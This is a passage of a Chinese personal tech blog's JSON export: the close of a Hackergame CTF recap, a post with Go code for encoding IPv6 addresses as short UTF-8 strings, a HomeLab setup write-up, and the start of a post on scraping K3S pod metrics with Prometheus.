最后看了题解,发现完全不需要碰撞,只需要先拿两组算出种子,然后提交三个正确答案即可。 果然还是绕了远路 🌚 企鹅拼盘 嗯,这个题真的很可爱。 我的数学实在是太差,所以解法正如题目描述那样“大力出奇迹”。 为了优化遍历速度,还用 Go 重写了代码,并对模拟算法做了常数级别的优化,就差加个 channel 搞并行了。想看爆破代码的可以戳这里。 各位还是移步官方题解好啦。 后续 周六比赛结束后,官方发了题解,于是去看了下想做但没思路的《安全的在线测评》和《杯窗鹅影》,又涨了不少姿势。 太久没玩 CTF 了,本来基础就不够好,好多解题思路就只能靠 Google。周一玩了大半天,晚上靠着手速冲到了 58 名,虽然最后掉到了 134 名,不过还是蛮有成就感的。 听浩子哥哥说,这几年的 CTF 的题基本都是赛棍特供,没想到 USTC 的大佬们能够设计出这么精彩的题目,在此感谢各位出题的同学。 最后放两张图留个纪念吧,希望明年这个时候我还能记得 hackergame 2023.","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"https://blog.stdioa.com/tags/CTF/"},{"name":"脑洞","slug":"脑洞","permalink":"https://blog.stdioa.com/tags/%E8%84%91%E6%B4%9E/"}]},{"title":"一种 IPv6 地址编码方案","slug":"encode-ipv6-into-utf8","date":"2022-06-10T12:51:14.000Z","updated":"2022-10-30T06:53:52.020Z","comments":true,"path":"2022/06/encode-ipv6-into-utf8/","link":"","permalink":"https://blog.stdioa.com/2022/06/encode-ipv6-into-utf8/","excerpt":"又搞了一些骚操作:把一个 IPv6 地址压缩成一个短字符串。","text":"又搞了一些骚操作:把一个 IPv6 地址压缩成一个短字符串。 背景 线上某张表有一个 VARCHAR 字段,用于存储 IP 地址。之前只存储 IPv4 地址,而 IPv4 地址的最大长度为 15(如 255.255.255.255),因此字段宽度只设置了 20。 当我们要存储 IPv6 地址时,却发现 IPv6 地址的最大长度是 39(如 1111:2222:3333:4444:5555:6666:7777:8888),而变更字段类型的尝试也以失败告终,因此我们需要找到一种方法来将 v6 IP 塞进长度为 20 的 VARCHAR 字段中。 一些简单的尝试 随便找一个 v6 IP,如 240e:17:ce8:fd00:52a8:6001:6e05:96f6,然后尝试将它缩短。 去掉冒号是否可行? 去掉冒号后还是有 32 位,不行。 将它变成二进制,然后再用 base64 编码? v6 IP 的(二进制)长度为 128 位,而 base64 一个字符可以存放 6 个二进制位,因此编码后字符串的长度至少有 128 / 6 = 21.3 位,再加上 base64 的固定 pad,最后需要 24 位。 hmmmm…差一点点。 使用一些常见的压缩算法? IPv6 地址可以视为随机序列,本身压缩效率就不会很高,而且通常压缩后得到的都是二进制序列而不是合法字符串,感觉不太靠谱。 有没有压缩率更高的方案? 把 v6 IP 进行编码后,使它能够存入这个 VARCHAR(20) 的列,需要两个前提: 编码后的字符串,应该是应该 UTF-8 编码下的合法字符串; 字符串的长度需要小于等于 20. MySQL 4 在计算 VARCHAR 的宽度时,是通过编码后的字节数来判断的,因此一个中文字符会占用 3 个宽度;而 MySQL 5 及之后的版本是通过Unicode 字符(字元)数来判断宽度的,这样,一个中文字符只占用 1 个宽度。 如果我们把 IP 地址变成一个二进制序列并分段,然后将每段序列变成一个 Unicode 字符,并通过 UTF-8 进行编码,是否可行? 查看 UTF-8 编码规则: 代码范围 Unicode 标量值 二进制 UTF-8 格式 注释 能够存储的位(bit)数 000000 - 00007F 0zzzzzzz 0zzzzzzz(00-7F) ASCII 字元范围,字节由零开始 7 000080 - 0007FF 00000yyy yyzzzzzz 110yyyyy(C0-DF) 10zzzzzz(80-BF) 第一个字节以110开始,之后的字节以10开始 11 000800 - 00D7FF 00E000 - 00FFFF xxxxyyyy yyzzzzzz 1110xxxx(E0-EF) 10yyyyyy 10zzzzzz 第一个字节以1110开始,之后的字节以10开始 16 010000 - 10FFFF 000wwwxx xxxxyyyy yyzzzzzz 11110www(F0-F7) 10xxxxxx 10yyyyyy 10zzzzzz 由11110开始,之后的字节以10开始 21 MySQL 的 utf8 排序规则(collation)允许最多 3 个字节的 UTF-8 字符,而 utf8mb4 则能够支持 4 个字节的 UTF-8 字符。 虽然 UTF-8 4 字节可以容纳 21 位,但其中会触及未定义的 Unicode 平面,导致我们无法使用整个编码空间。因此我们可以尝试使用 16 位的长度对 IP 地址进行分段,然后将每段编码成占用 3 个字节(及以下)的字符。 一个 3 字节字符能够支持 16 位的 Unicode 标量,那么计算一下编码后的字符串长度:128 / 16 = 8,比现有的 VARCHAR(20) 字段宽度少很多,完全可行! 第一版实现:进制转换 编码时,将 IP 变为一个大整数,再转化为 2^16 进制数,每一位使用一个 Unicode 字符来表示;然后再通过 UTF-8 编码编入 []byte,最后转换为 string 并返回。 解码时,读取每个 rune,获取它的 UTF-8 编码,再将其变为 Unicode 标量,再将 65536 进制数变成大整数,最后编码成 IP 地址。 举例: IP: 240e:17:ce8:fd00:52a8:6001:6e05:96f6 转为大整数:47924901830519682514395366120933810856 二进制: 10010000001110000000000001011… 进制转换切出第一段二进制序列 1001011011110110 -> 字符“零” 整段 IP 转码:␎೨ﴀ动态清零 实现如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869const padLength = 16func IPv6ToUTF8(ip6 net.IP) string { var ( builder strings.Builder bytesArray [][]byte ) // 1. 转换成 big.Int bigInt := big.NewInt(0).SetBytes(ip6.To16()) // 2. 通过进制转换的方式,将大整数按 16 位切分 mask := big.NewInt(1 << padLength) // 最多可以放 16 位 for bigInt.Cmp(big.NewInt(0)) > 0 { // 获取当前段 pad := big.NewInt(0).Mod(bigInt, mask).Uint64() // 3. 塞入 utf-8 中 var numBytes []byte switch { case pad < 0x80: // 一字节字符 numBytes = []byte{byte(pad)} case pad < 0x7FF: // 两字节字符 var bytes = []byte{0b11000000, 0b10000000} bytes[1] += byte((pad & 0b111111)) // bit 0-5 bytes[0] += byte((pad & (0b11111 << 6)) >> 6) // bit 6-10 numBytes = bytes case pad <= 0xFFFF: // 三字节字符 var bytes = []byte{0b11100000, 0b10000000, 0b10000000} bytes[2] += byte((pad & 0b111111)) // bit 0-5 bytes[1] += byte((pad & (0b111111 << 6)) >> 6) // bit 6-11 bytes[0] += byte((pad & (0b1111 << 12)) >> 12) // bit 12-15 numBytes = bytes } bytesArray = append(bytesArray, numBytes) // 移位,处理下一段 bigInt.Div(bigInt, mask) } // 之前是倒序放入 bytesArray 的,现在需要倒过来 for i := len(bytesArray) - 1; i >= 0; i-- { builder.Write(bytesArray[i]) } return builder.String()}func UTF8ToIPv6(s string) net.IP { var bitInt = big.NewInt(0) // 遍历 rune for _, r := range s { // 构建 unicode 字元,并完成 UTF-8 解码 var num int64 switch { case r < 0x80: num += int64(r) case r < 0x7ff: num += int64(r & 0b111111) // bit 0-5 num += int64(((r >> 6) & 0b11111) << 6) // bit 6-10 case r <= 0xffff: num += int64(r & 0b111111) // bit 0-5 num += int64(((r >> 6) & 0b111111) << 6) // bit 6-11 num += int64(((r >> 12) & 0b1111) << 12) // bit 12-15 } // 将该段拼接到大整数中 // bitInt = bitInt << padLength + num shifted := bitInt.Lsh(bitInt, padLength) bitInt.Add(shifted, big.NewInt(num)) } // 把整数变回 IP ip := net.IP(bitInt.Bytes()) return ip} 第二版实现:bytes to rune 上面那段太复杂了,各种位运算乱七八糟,还要处理 UTF-8 的变长编码,有没有更简单的方案? 仔细看下可以发现,刚刚我们切段的时候,每段的长度是 16 位,刚好就是两个字节。因此,我们直接以 2 字节为单位,对 IP 进行切段,把每段变成 rune,再将 rune 拼成 string 即可。 恰巧,IPv6 地址分成了 8 段,每段也刚好是两字节。 举例: IP:240e:17:ce8:fd00:52a8:6001:6e05:96f6 转换为字节序列并按双字节切段: [\\x24 \\x0e] [\\x00 \\x17] [\\x0c \\xe8]… 将每段变为一个字符: \\u240e \\u0017 \\u0e8 … 最终字符串:␎೨ﴀ动态清零 重新实现后,代码更加简洁,同时编码效率提高了 17 倍,解码效率提高了 10 倍。 123456789101112131415161718192021222324252627func IPv6ToUTF8(ip6 net.IP) string { var ( bytes = []byte(ip6) // 1. 转换成 bytes builder strings.Builder ) builder.Grow(18) // 存放 6 个字符,每个最多 3 字节,因此提前 grow for i := 0; i < len(bytes); i += 2 { // 2. 按两字节分段 r := rune(bytes[i])<<8 | rune(bytes[i+1]) builder.WriteRune(r) // 3. 将 rune 拼成 string } return builder.String()}func UTF8ToIPv6(ipStr string) net.IP { var ( bytes = make([]byte, 16) i int ) // 把每个 rune(uint32)的低 16 位拆分成两个字节,并放到对应的位置 for _, r := range ipStr { bytes[i] = byte(r >> 8) bytes[i+1] = byte(r & 0xff) i += 2 } // 有了字节序列,转换为 IP 即可 return net.IP(bytes)} Unicode 代理对带来的小麻烦 仔细看下刚刚的 UTF-8 的编码表,可能会发现,三个字节可以容纳的字元范围是 \\u0800 - \\ud7ff 和 \\ue000 - \\uffff,不包含中间的 \\ud800 - \\udfff 区间。尝试了一下,如果字节段被映射到了这个区间内,它就会变成一个非法字符 “�”,而再解析出来的 Unicode 字元会变成 \\ufffd,这样类似 d800::dffe 的 IP 在经过编码再解码后就会变成 fffd::fffd,这显然是不能接受的。 研究 Unicode 区段发现,这段字元处于“Unicode 代理对(surrogate)”区段,通常都会成对出现,单独出现时不会被视为一个合法的 Unicode 字符,因此在 UTF-8 解码时会被替换为一个“替换字符” \\ufffd,也就是 “�”。所以,我们在编码时,如果遇到相关的字节范围,则需要避开这些区段。 一个简单的操作方式,是直接将其平移到 \\u1d800 - \\u1dfff。这段 Unicode 包含两个区段,分别为“萨顿书写字母”和一个小的未定义区段,均为合法区段,因此可以解决非法区间问题。 不过,因为 \\u1d800 在编码为 UTF-8 后会占用四个字节,因此需要保证数据库表使用的是 utf8mb4 排序规则. 如果数据库使用的是 utf8 排序规则,可以考虑缩短分段位数,比如只使用两字节的 UTF-8 编码,每段 11 位,这样需要 12 个字符就可以存下 IPv6 地址。 实现时,对相关区段进行特判即可: 1234567891011121314151617181920212223242526272829303132func IPv6ToUTF8(ip6 net.IP) string { var ( bytes = []byte(ip6) builder strings.Builder ) builder.Grow(18) for i := 0; i < len(bytes); i += 2 { r := rune(bytes[i])<<8 | rune(bytes[i+1]) // D800 - DFFF,涉及到三个代理对区段,无法编码,解码时会变成 FFFD // 所以需要手动更改区段到 1D800 - 1DFFF // 因此对应的 UTF-8 也会多一个字节,不过不影响 MySQL 字符长度 if 0xD800 <= r && r <= 0xDFFF { r += 0x10000 } builder.WriteRune(r) } return builder.String()}func UTF8ToIPv6(ipStr string) net.IP { var ( bytes = make([]byte, 16) i int ) for _, r := range ipStr { // 这里碰到 1D800 - 1DFFF 可能会发生溢出,不过不影响计算,因为我们只需要中间的一字节,更高位的 1 可以丢弃 bytes[i] = byte(r >> 8) bytes[i+1] = byte(r & 0xff) i += 2 } return net.IP(bytes)} 收尾 完成了有效的 IPv6 压缩方案后,我们在存储 IP 时,直接原样存储 v4 IP;当存储 v6 IP 时,则使用上文提到的压缩方案,并在编码过后的字符串前添加一个 v4 IP 中不会出现的字符(如 “:”)作为前缀,用于区分 v4 和 v6 IP,即可得到一个完善的、同时兼容 v4 和 v6 IP 的存储方案。 12345678910111213141516171819const ipv6Prefix = ":"// EncodeIP 将 v6 IP 转换成压缩格式,v4 IP 原样返回func EncodeIP(ipStr string) string { ip := net.ParseIP(ipStr) if ip.To4() == nil && ip.To16() != nil { // 压缩 IPv6 return ipv6Prefix + IPv6ToUTF8(ip) } // 针对 IPv4 和非法 IP(如已经压缩过的 IP),直接原样返回 return ipStr}func DecodeIP(encoded string) string { if strings.HasPrefix(encoded, ipv6Prefix) { return UTF8ToIPv6(encoded[1:]).String() } return encoded} 参考资料 Unicode Blocks UTF-8 - 维基百科 Unicode 代理对","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"IPv6","slug":"IPv6","permalink":"https://blog.stdioa.com/tags/IPv6/"},{"name":"Unicode","slug":"Unicode","permalink":"https://blog.stdioa.com/tags/Unicode/"},{"name":"UTF-8","slug":"UTF-8","permalink":"https://blog.stdioa.com/tags/UTF-8/"}],"author":"David Dai"},{"title":"HomeLab 玩法简单分享","slug":"homelab-share","date":"2021-09-14T11:51:33.000Z","updated":"2024-08-21T08:48:56.826Z","comments":true,"path":"2021/09/homelab-share/","permalink":"https://blog.stdioa.com/2021/09/homelab-share/","excerpt":"大学毕业之前一个冲动买了台式机,又一个冲动买了台 Linux 主机。到现在它已经运行了四年多了,简单分享下自己的玩法。","text":"大学毕业之前一个冲动买了台式机,又一个冲动买了台 Linux 主机。到现在它已经运行了四年多了,简单分享下自己的玩法。 注:本文于 2024 年 8 月进行过一次修订,根据自己的使用经验,对已有内容做了一些更新和补充。成段补充的部分会以引用的形式添加在文章中。 背景 毕业之前在公司附近租了房,再加上受到了网络的蛊惑,于是陷入了“买一台 NAS 来大幅提高生活质量”的念头之中。看了很多成熟的 NAS 方案(比如群辉或威联通),最后还是在高昂的价格面前望而却步。 当时的我,傻乎乎地认为品牌 NAS 的平台只是“SMB + RAID + 媒体服务器”而已,那么既然成熟的方案那么贵,为什么不搞个 Linux 自己折腾呢?脱离了平台的束缚,反而可能有更多的可能性。 最后,我决定自己买硬件搭一台 Linux 主机,做一个 HomeLab. 硬件选型 选择主机硬件的时候考虑了自己的需求,大致如下: 价格便宜:我只是个穷学生,看他们玩虚拟化的都上了 E3 E5,这么吃硬件的东西我还是不玩了吧 🌚 功耗低:24 小时开机,电费还得自己掏,所以买个 TDP 几十瓦的 i3-7100 或者 G4560 感觉好像有点烧钱。这条需求本质上可以划入上一条。 有最基本的 IO 接口:对于我来说,有 3-4 个 SATA & 千兆网口就够了。 不一定要做 RAID:硬盘容量是有限的,而备份重要的文件可以有很多方式。这条本质上还是第一条。 可以运行 Linux:我承认这条是来凑数的 在英特尔® 产品规范中翻看了两周后,我的选择范围从酷睿降到了奔腾,又降到了赛扬。最后,我选择了赛扬 J3455 来做这台主机的 CPU. 配置清单如下,价格都是购买时的价格。 硬件 型号 价格(元) 备注 主板 & CPU 华擎 J3455-ITX 494 电源 金河田 480GT 99 内存 威刚 4G LPDDR3 189 SSD 22G 0 从上大学时买的超极本里拆下来的缓存盘 硬盘 2T 西数红盘 + 2T 西数蓝盘 599 + 405 贪便宜买了蓝盘 机箱 乔思伯 C2 139 2.5 寸盘位 * 1,3.5 寸盘位 * 2 后来又陆续升级了一些硬件: 硬件 型号 价格(元) 备注 电源 航嘉 300W 电源 49.9 电源风扇出了点问题导致噪音很大,于是花了几十块钱从淘宝上买了块二手电源 内存 金士顿 8G LPDDR3 379 内存嘛,多多益善 SSD 256G 紫光 S100 179 Docker 镜像太多,22G 硬盘快要装不下了 SSD 256G 闪迪 SSD Plus 219 垃圾紫光买回来以后每个月都会出问题,只好把它换掉😒 硬盘 4T 日立企业盘 880 购买于 2018 年 10 月,替换了通电很久的蓝盘 机箱 乔思伯 N1 589 购买于 2021 年 11 月,改善外观并提升盘位数量 SATA 拓展卡 杂牌 100 以内 主板的 SATA 接口不够用了,因此利用上了 PCIe x1 接口 硬盘 10T + 16T 西数企业盘 1730 元 10T 硬盘做主要存储,二手 16T 硬盘做定时热备 去除已淘汰的硬件,整机成本如下: 硬盘(2T + 4T + 10T + 16T):3209 元 主机(除硬盘以外的部分,但包括 SSD 系统盘):2138.9 元 写这篇文章的时候翻了下淘宝,发现这几年 Intel 推出了更多低功耗但性能更强的 CPU,然而这些 CPU 大多数都拿去做成了成套的 NAS、NUC 和工控机方案,貌似很难再买到 J3455-ITX 这种主板 + CPU 的组合了。 在 2024 年,由于市场对软路由的稳定需求,因此很多小厂商开发了搭载 N100 或 J4125 的 ITX 方案,目前选择比 2021 年要多了不少。 此外,由于主机的硬盘太过吵闹,有时为了享受更好的睡眠,我不得不关掉它的电源,所以我又买了一块可以安安静静挂机的树莓派 4(后来用上文淘汰下来的 22G SSD 重做了系统盘来代替性能捉急的 TF 卡),并将一部分我认为比较重要的软件挪到了它的上面。 最近在机缘巧合之下又收了一块树莓派,不过目前处于在线但闲置的状态,跑了个 k3s 偶尔玩一玩。 附两张机器的配置图: 软件 home lab有两种玩的方向。一种是 all in one,一种是 one by one。 —— Twitter @riverscn 对于我来说,我更倾向于 one by one 的玩法。虽然我还没有那么多硬件,但一台 x86 主机,加上两块树莓派,已经足够避免主机层面的单点故障。 我的绝大部分服务都用 Docker 部署,启动脚本及配置文件全部放在一个 Git 仓库中,通过 Git 进行管理。这样以来,我就能够以极低的成本将某个服务在不同主机间迁移。 不玩虚拟化,不玩软路由,Infrastructure as Code,多机多副本,虽然可用性没有那么强,但面对日常使用还是足够了。 基础平台 上大学时上过一门计算机体系结构的课,当时装过几台 Debian 的虚拟机,这使得我对这个发行版有了一些好感。于是我选择了 Debian 作为主机的操作系统。 由于当时 SSD 空间有限,所以我选择了 Debian 的最小安装,并选用了轻量化的 LXDE 作为桌面系统(然而基本没有用过)。 除此之外,为了使用更新的软件包,我将系统更新到了 Debian testing(最新版本代号是 bookworm)。不过使用新版系统就同样需要承担不稳定的风险:较新版本的内核会偶尔出现不稳定的情况(如网络接口自动断开),所以在遇到这样的问题时就需要手动回滚到旧版内核来使用。 主机买回来还是要当 NAS 用的,所以首先安装和配置的还是 samba。通过简单的配置我们就可以在 PC 中添加网络驱动器,在局域网内访问 NAS 中的文件,还可以通过文件历史记录备份 PC 上的文件。 除了 NAS 之外,我们还需要搭建一个基础的平台用于托管各种应用,平台的组成大致如下: Docker:用于容器托管。很多流行的应用都有官方或社区维护的 Docker 镜像,使用 Docker 部署应用能够大幅降低部署成本 Gogs:用于管理 Git 仓库,后来换成了 Gitea frps & frpc:服务端搭建在腾讯云上,客户端通过 Docker 部署在主机中,实现 tcp 和 http 的内网穿透 一个用来组织和管理服务脚本和配置的 Git 仓库,远端存储在 Gitea 中 一些用于日常操作的基础工具,如 git, vim 和 tmux 有了这些组件,我就可以非常快捷地部署新的服务。 应用软件 在主机和树莓派上部署的应用可以称得上五花八门,绝大部分都是通过 Web UI 进行交互,使用 Docker 进行托管,通过 volume 完成目录共享。一部分不太适合使用 Docker 托管的服务(如需要使用 ssh 的 Gitea),早期我选择使用 Supervisor 托管,后来全部迁移到了 systemd 上。 部署方式大同小异,而且大部分部署在 Docker 上的应用都能够做到开箱即用,所以没有什么可以单独分享的。简单列举一下我在家部署的应用: 软件 简介 托管方式 Caddy 配置简单的 HTTP 服务器,用做主机网关 docker acme.sh 获取 Lets’Encrypt 的 HTTPS 证书,用于内网和外网的 HTTPS 访问 cron Cockpit 主机监控面板 systemd Portainer 容器管理工具 docker Prometheus & AlertManager & Grafana 监控报警套件,偶尔用于主机问题排查 docker Node Exporter & cAdvisor prometheus exporter docker Loki & promtail 日志收集平台及组件,负责聚合主机、容器和网关请求日志 docker Drone & Drone Runner CI 平台,搭配 Gitea 使用 docker Clash 代理服务器 docker yacd Clash 管理面板 caddy 静态托管 aria2 下载工具,支持 HTTP、BT 和磁力链接 docker AriaNg aria2 管理面板 caddy 静态托管 Sync Home 专有软件,P2P 文件分享,也可用于文件同步 docker Kiwix 离线的维基百科服务,以备不时之需 docker NextCloud 网盘服务,从某种意义上可以代替百度网盘 docker WebDAV WebDAV 服务,托管 Joplin 中的笔记内容 docker Tiny Tiny RSS RSS 阅读器,用于替代 Feedly docker,有人专门做了容器化部署方案 rss-proxy 一个极为简陋的 HTTP 反向代理,方便 TT-RSS 抓取资源 docker fava & beancount-bot Beancount UI 和 Telegram bot,详见《开始使用 Beancount》 systemd Snapdrop / PairDrop 基于 WebRTC 的本地网络文件传输工具 docker Mattermost 音乐管理软件,私有云音乐 docker Navidrome 即时通讯软件,主要用做 Chatbot(Beancount 记账和 LLM 交互)平台 docker VaultWarden 与 BitWarden 兼容的密码管理器服务端 docker Stirling-PDF PDF 处理应用 docker Calibre & Calibre Web 图书管理 & 在线阅读(不过目前还是主要在用 iBooks) docker 网络 服务部署可以通过 docker 轻松搞定,然而绝大部分服务都是通过 Web UI 进行交互的,所以我们还需要找到一个快捷的方案来从内网或外网访问这些服务。 在本文初次完成的 2021 年,我主要使用 frp 来完成内网穿透,但在 2024 年,能够选择的解决方案就非常多了,我目前使用过的方案有: Cloudflare IPv6 直连(可选 proxy) Cloudflare Tunnel frp Tailscale HTTP 处理 DNS 解析时,为了访问方便,我在内网中通过 dnsmasq 代理了顶级域名 s. 的解析请求:将 *.s 的域名全部解析到主机的固定 IP,针对某些希望暴露到公网的服务,我会将 *.stdioa.com 的域名解析到很久很久以前买的腾讯云学生机上。 针对 HTTP(S) 的路由,我在内网中使用 Caddy 作为网关;公网中我使用了 Nginx 作为网关,然后使用 frp 将公网的请求导入到内网中,再通过内网主机上的 Caddy 网关进行路由。 请求拓扑结构大致如下: 在 2024 年对本文进行修订时,笔者认为使用 CloudFlare 将内网服务暴露到公网也是一个不错的主意,这样可以省下一台 VPS 的钱,也无需再申请 IPv4 的公网 IP,只需 IPv6 的 IP 即可。不过某些小众宽带运营商和偏远地区的移动网络对 Cloudflare 的可访问性并不够高,因此需要结合使用地区的实际情况来选择合适的方案。 使用 Cloudflare 主要有几种姿势: DNS 直连(可以使用 Cloudflare 的 Proxy 来避免源站暴露,并为只有 V6 公网 IP 的家庭宽带添加双栈支持) 注:如果用 IPv6 直连,则大概率需要搭配 DDNS 使用,并确认路由器和光猫对 IPv6 防火墙的支持程度。可以参考以前的文章。 Cloudflare Tunnel(无需暴露源站端口,但在国内的稳定性不佳) Cloudflare Worker + 优选 IP(我尝试过但延迟过高,或许是使用姿势不对) 关于这几种方案的具体使用方法,网上已有相当多的文章,本文不再赘述。目前我主要使用的是前两种方案,frp 虽然依然在运行,但几乎不再承接 HTTP 流量。 这样,Web 访问的问题就解决了,但偶尔还会有一些特殊的情况发生。 SSH 在外偶尔会有一些针对 NAS 或树莓派的运维需求,或者可能只是连到树莓派上去编辑一下 beancount 的交易记录,此时就需要通过 SSH 来连接到主机,通过 shell 来进行操作。 此时我同样用到了 frp:建立一个 TCP 代理,将 NAS 的 22 端口映射到腾讯云上的某端口,即可通过 SSH 来连接这个端口。 在运维方面,SSH 是非常重要的连接手段,为了保证链路的可用性,我构建了多条不同的链路: 通过 Tailscale VPN 直接连接; 通过 frp 建立一个 TCP 代理,将 NAS 的 22 端口映射到腾讯云上的某端口,通过腾讯云做跳板连接,通常用于使用别人的电脑(或工作机)时进行临时登录; 通过 Cloudflare Zero Trust 在浏览器中启动终端。 虽然做了链路冗余,但停电和断网的风险并没有被考虑在内。 在外访问内网服务 出于安全考虑,我不会把涉及到隐私的服务(比如 Fava)暴露在公网上。但有时还是要访问一些不想暴露到公网的服务,或临时搭建的服务,所以需要想办法访问到内网主机的端口。 在本文初次撰写时,我想到了三种端口映射方案: 配置 frpc tcp 代理规则,临时将内网的端口暴露到公网 通过 SSH 隧道,将内网的端口映射到本地 如果你恰巧正在使用 VSCode 通过 SSH 进行远程开发,那也可以用 VSCode 来快速配置端口映射。 但其实我们还可以配置 VPN 作为终极解决方案。 在写这篇文章时,我恰好接触到了 Tailscale. 它是一个安全的虚拟组网产品,配置十分简单,且拥有相当高的 NAT 穿透成功率(此处推荐一篇好文)。因此,如果需要高频访问内网服务的话,可以考虑直接使用 Tailscale 来完成。 不过需要注意的是:tailscale 是一个商业产品。如果你对自己的数据安全十分担忧,可以考虑使用 nebula, Zerotier 或 headscale 这样的自建组网方案作为替代。 在 2024 年重新回顾这篇文章时,由于 Tailscale 优秀的体验,我已经完全使用 Tailscale 来访问内网服务了。主要的方案如下: 在 Tailscale 后台配置子网(subnets),将 NAS 设置家中内网网段的网络出口,这样家中设备(如路由器、NAS 和树莓派)均可以经由 NAS,通过内网 IP 直接访问; 在电脑上安装 dnsmasq,在解析内网域名 *.s 时,使用家中路由器的地址作为上游 DNS 服务器。 使用这种方案,除了可以无痛访问内网的 Web 服务外,甚至还可以通过 NVIDIA GameStream 和 Moonlight 为游戏进行串流,实现在 MacBook Air 上打 PC 游戏的梦想。在 1080P 60 帧的分辨率下,游戏延迟只有 30ms,甚至连绝区零都可以勉强玩起来。虽然这套方案比不上米哈游自己的云游戏,但至少不用花钱。 数据备份 俗话说:“备份不做,十恶不赦”。但不得不承认我的经济实力和盘位都十分有限,没有办法做 RAID,所以只好选择性地备份某些比较重要的数据,如 Gitea Repo,WebDAV 中的笔记内容,以及 PC 内的文件等。 热备份的手段比较简陋: PC 中的文件直接使用“文件历史记录”功能,通过 SMB 协议备份到 NAS 中; 通过 systemd Timer 定时触发脚本,用 rsync 将本机或腾讯云上的数据增量同步到备份位置。 对于冷备份,我使用了 Cobian Backup 来定期将数据备份到一块离线硬盘。 如今 这台主机玩到现在,我觉得它已经不是一台 NAS 了,而是更像一个 HomeLab. 对于我来说,HomeLab 是一个可以让人快速实现某个想法或需求的平台。有了 Linux 和 Docker,面对日常生活中某些天马行空的需求时,我可以快速实现、快速部署。在享受 HomeLab 给我带来便利的同时,我还可以享受折腾它带来的奇怪的成就感。 举个例子,三月份的时候玩塞尔达发现了一个旷野之息的地图网站,然而由于网站的 CDN 带宽极为有限,导致这个服务的性能奇差,加载一张图片可能需要十几秒到一分钟的时间。于是我在某个晚上花了不到一个小时写个惰性的本地缓存服务,并将它部署在了内网中。此后,当我需要在海拉鲁大陆的角落寻找宝藏时,就可以享受到地图秒开的快感。 除此之外,HomeLab 的另一大价值在于它让我们拥有了数据和功能的所有权。 现代互联网的商业魔爪已经伸向了每个用户,几乎所有的互联网服务都需要以金钱和/或隐私作为代价来换取使用权。如果美好的万维网早已不在,我们的力量也无法支撑我们颠覆商业规则,那我们是否有可能在互联网中搭建一个只属于自己或一小撮人的庇护所呢? 对于我来说,通过 HomeLab 自建一些服务(如 Tiny Tiny RSS 或 BitWarden),将云服务私有化,让个人隐私留在自己的硬盘之中,可能是最好的解决方案了。 最后,我想为大家推荐 awesome-selfhosted ,大家可以在这里查找并选择合适的自建服务。 相关阅读 云服务器都99一年了,除了买来吃灰,你还能用来装这些免费云软件 聊聊你的私有云 - Small talk","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"Docker","slug":"Docker","permalink":"https://blog.stdioa.com/tags/Docker/"},{"name":"NAS","slug":"NAS","permalink":"https://blog.stdioa.com/tags/NAS/"},{"name":"Homelab","slug":"Homelab","permalink":"https://blog.stdioa.com/tags/Homelab/"}]},{"title":"在 K3S 集群外监控集群内的指标","slug":"scrape-prometheus-metrics-outside-kubernetes","date":"2021-07-11T09:00:00.000Z","updated":"2022-09-10T01:41:19.797Z","comments":true,"path":"2021/07/scrape-prometheus-metrics-outside-kubernetes/","link":"","permalink":"https://blog.stdioa.com/2021/07/scrape-prometheus-metrics-outside-kubernetes/","excerpt":"吃饱了撑的,尝试一下 Prometheus 在 K3S 集群外抓取集群内指标的若干姿势。","text":"吃饱了撑的,尝试一下 Prometheus 在 K3S 集群外抓取集群内指标的若干姿势。 背景 前一阵子收了块树莓派 4,顺手在上面搭了一个单节点的 K3S. 几个月前在家里的服务器上搭过一个 Prometheus 的实例,于是就决定研究下如何在集群外收集 K3S 集群内 Pod 的指标。 先上一个简单的网络拓扑图: 众所周知(?),Pod Network 和 Node Network 是两个不同的网段,所以在 Node 之外是无法直接访问到 Pod 的。所以我们需要通过一些方法,让我们直接或间接地访问 Pod 中提供的 HTTP 接口,进而完成指标抓取。 我们在 k3s 集群中部署了一个暴露接口的 Deployment 用于指标抓取测试,它的指标端点为 http://localhost/metrics. Deployment 配置如下: 123456789101112131415161718192021222324apiVersion: apps/v1kind: Deploymentmetadata: name: promtest namespace: defaultspec: selector: matchLabels: app: promtest replicas: 1 template: metadata: labels: app: promtest annotations: prometheus.io/scrape: "true" spec: containers: - name: main image: prometheus-test:v0.1 command: ["/bin/promtest"] args: ["-listen", "0.0.0.0:80"] ports: - containerPort: 80 NodePort Service 最简单、最直观的方法,是将 metrics endpoint 通过 NodePort Service 或 Ingress 暴露出来,然后在 Prometheus 中通过配置 static_config 来抓取。 比如我们可以配置如下的 Service 和 Ingress: 1234567891011121314151617181920212223242526272829303132333435apiVersion: v1kind: Servicemetadata: name: promtest namespace: default labels: app: promtest annotations: prometheus.io/scrape: "true"spec: selector: app: promtest ports: - protocol: TCP port: 80 targetPort: 80 type: NodePort---apiVersion: networking.k8s.io/v1kind: Ingressmetadata: name: promtest namespace: defaultspec: rules: - host: promtest.k3s http: paths: - path: / pathType: Prefix backend: service: name: promtest port: number: 80 部署后查看 Service 的 NodePort(如 30080),则可以通过 Node 的端口访问到指标端点(也就是 http://192.168.1.101:30080/metrics);类似的,通过配置的 Ingress 也可以正常访问(http://promtest.k3s/metrics)。 Prometheus 抓取规则如下: 12345job_name: "exported-services"static_configs: - targets: - 192.168.1.101:30080 # NodePort - promtest.k3s # Ingress 这种方式部署比较直观简单,但缺陷也比较明显: 由于抓取规则都是静态的,所以不能做服务发现; 每添加一个 Deployment,需要配置对应的 Service 来暴露指标; Service 自带负载均衡,所以如果 Service 背后的 Endpoint 有多个,那么多次抓取的数据来源则可能是 Serivce 背后的任意一个 Pod,而且我们也无法对来源进行区分。因此,当我们分析业务指标时,通常都会通过服务发现来抓取所有 Pod 的指标,然后通过 PromQL 根据实际场景对指标进行聚合。 Kubernetes API Proxy 这种方式略微有点奇怪:使用 K8S 提供的 pod/service proxy 接口,通过代理来访问集群内的 Pod 指标端点. 假设 K8S API 地址为 https://k3s:6443,那么当我们想访问 Service proxy 时,就可以通过 